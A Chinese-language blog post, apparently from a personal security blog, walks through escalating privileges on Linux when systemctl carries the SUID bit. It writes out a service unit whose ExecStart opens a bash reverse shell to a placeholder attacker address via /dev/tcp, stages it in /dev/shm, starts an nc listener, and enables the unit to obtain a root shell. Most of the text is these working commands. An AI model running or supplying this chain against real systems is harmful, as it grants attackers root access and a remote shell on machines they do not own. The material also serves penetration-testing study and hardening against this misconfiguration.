systemctl是用于管理systemd的命令行工具。当systemctl被配置SUID权限时,是可以通过创建.service文件实现权限提升的。

systemd介绍
https://haslet007.top/2025/03/21/linux-systemd/

此处未设置SUID,设置SUID显示为-rwsr-xr-x

当systemctl具备suid位或sudo权限时,可以用来进行提权。

  • 确认systemctl是否具有SUID权限
ls -l /bin/systemctl
  • 符合条件就编写一个service unit用来被systemctl加载
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x.x.x.x/xxx 0>&1 2<&1"
[Install]
WantedBy=multi-user.target' > mm.service

#生成的unit名为mm.service
  • 把unit放置在合适的位置

通常unit存放在/usr/lib/systemd/system//etc/systemd/system/,可以被systemctl加载执行,但是渗透过程中需要提权的场景往往权限较小,这些目录不可写。而systemctl的特性决定了,当unit在/tmp目录下时,无法被systemctl加载。这里需要掌握一个神奇的目录:/dev/shm/,关于这个目录的解读可以移步:https://www.cnblogs.com/tinywan/p/10550356.html学习掌握。这里就可以把我们生成的unit文件放置再这个目录

  • 攻击机上启动监听
nc -lvnp 9999
  • 被攻击机器执行下列命令启动我们写好的service unit
systemctl link /dev/shm/mm.service
systemctl enable --now /dev/shm/mm.service

过程演示

由于SUID(Set User ID)权限允许普通用户以拥有者的身份执行程序。在systemctl的情况下,这意味着普通用户可以以root权限执行系统命令,这会带来严重的安全风险。所以大部分主机的systemctl都未设置SUID,故我们手动给systemctl配置SUID

  • 切换到root用户
sudo su
  • 设置SUID权限
chmod u+s /bin/systemctl
  • 确认权限是否生效
ls -l /bin/systemctl

如上图所示已经将systemctl设置为SUID权限

  • 写出service unit
  • 移动到/dev/shm/
  • KALI开启监听
  • 受害机执行启动命令
  • 成功反弹root的Shell

1 个评论

  1. 通告:SUID提权&SUDO提权概述 – Haslet‘s Blog

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注